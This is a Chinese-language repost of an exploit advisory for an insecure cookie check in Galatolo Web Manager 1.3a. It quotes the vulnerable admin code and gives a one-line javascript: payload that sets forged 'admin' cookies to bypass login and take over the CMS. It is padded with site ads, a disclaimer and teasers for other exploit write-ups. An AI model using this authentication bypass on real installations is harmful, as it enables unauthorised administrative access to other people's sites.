Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability
Galatolo Web Manager 1.3a 不安全Cookie处理漏洞
Virangar 安全团队
www.virangar.net
www.virangar.ir
--------
免费影视、动漫、音乐、游戏、小说资源长期稳定更新！ 👉 点此立即查看 👈
发现者：virangar 安全团队 (hadihadi)
特别感谢：MR.nosrati, black.shadowes, MR.hesy, Zahra
以及所有virangar成员和所有黑客朋友们
致意：我在世界上最好的朋友 hadi_aryaie2004
以及我可爱的朋友 arash(imm02tal)
-------
漏洞描述：
Galatolo Web Manager 存在不安全的Cookie处理机制。当管理员登录成功后，脚本会创建一个Cookie，用于向管理后台的其他部分证明用户已登录。问题在于，这个Cookie不包含任何密码或类似的有效验证信息。因此，攻击者可以直接伪造一个管理员Cookie，让系统误认为我们是以合法管理员身份登录的。
---
漏洞代码位置：
文件：/Admin/index.php
关键代码片段如下：
if (grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "admin" || grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "editor" ){
top();
menu();
echo $wellcome_admin;
foot();
}
---
利用方式：
在浏览器地址栏或控制台执行以下Ja vaScript代码：
ja vascript:document.cookie = "gwm_user=admin; path=/"; document.cookie = "gwm_pass=admin; path=/";
-----
执行完毕后，直接访问 /admin 目录，即可获得管理员访问权限，进而管理整个CMS系统。
-------
年轻的伊朗黑客们
游乐网为非赢利性网站，所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系youleyoucom@outlook.com。
同类文章
DigiLeave 1.2 (info_book.asp book_id) Blind SQL Injection Exploit
文章润色专家解读 关于一段安全研究代码的技术性剖析 今天来拆解一段颇具时代印记的网络安全研究代码。它不是一份可以直接运行的现代工具，而更像是安全技术演进路上的一个“考古样本”。其核心逻辑，即便在今天，仍能给我们一些关于应用安全的基础性启发。 代码结构与功能定位 先看看这段Perl脚本的“自我简介”。
WarFTP 1.65 (USER) Remote Buffer Overlow Exploit
WarFTP 1 65 用户名缓冲区溢出漏洞深度解析与利用实战 本文将深入剖析WarFTP Daemon 1 65版本中一个经典的栈缓冲区溢出漏洞。该漏洞的核心成因在于，软件在处理USER命令时，使用了不安全的sprintf函数，未能对用户输入执行有效的长度校验，导致超长数据被直接复制到固定大小的栈
网络安全需要掌握哪些技能？网络安全怎么学？
网络安全工程师：核心技能与每日实战 数字化浪潮席卷之下，网络空间的安全防线变得前所未有的重要。无论对政府、企业还是个人用户而言，一次系统漏洞或数据泄露都可能造成难以估量的损失。正因如此，作为数字世界的“守门人”，网络安全工程师的角色正变得至关重要。今天，我们就来深入聊聊，要胜任这份工作，究竟需要打磨
CTF网络安全大赛
CTF是什么？网络安全竞赛的全面解读 对于网络安全领域之外的朋友而言，CTF可能是一个陌生的术语。简单来说，CTF（Capture The Flag，夺旗赛）是网络安全技术人员之间进行技术竞技与交流的核心形式，常被喻为安全界的“奥林匹克”或“华山论剑”。其诞生源于一个朴素的初衷：黑客们需要一种安全、
ITechBids 7.0 Gold (XSS/SQL) Multiple Remote Vulnerabilities
ITechBids 7 0 多项远程安全漏洞分析 本次分析的对象是ITechBids 7 0版本，这是一款由Itechscripts com提供、开发者署名为Encrypt3d M!nd的在线竞价脚本。需要提前说明的是，由于时间关系，本次排查可能并不彻底，脚本中很可能还存在其他未被发现的漏洞点。 漏
- 日榜
- 周榜
- 月榜
1
2
3
4
5
6
7
8
9
10
相关攻略
2015-03-10 11:25
2015-03-10 11:05
2021-08-04 13:30
2015-03-10 11:22
2015-03-10 12:39
2022-05-16 18:57
2025-05-23 13:43
2025-05-23 14:01
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程
热门话题
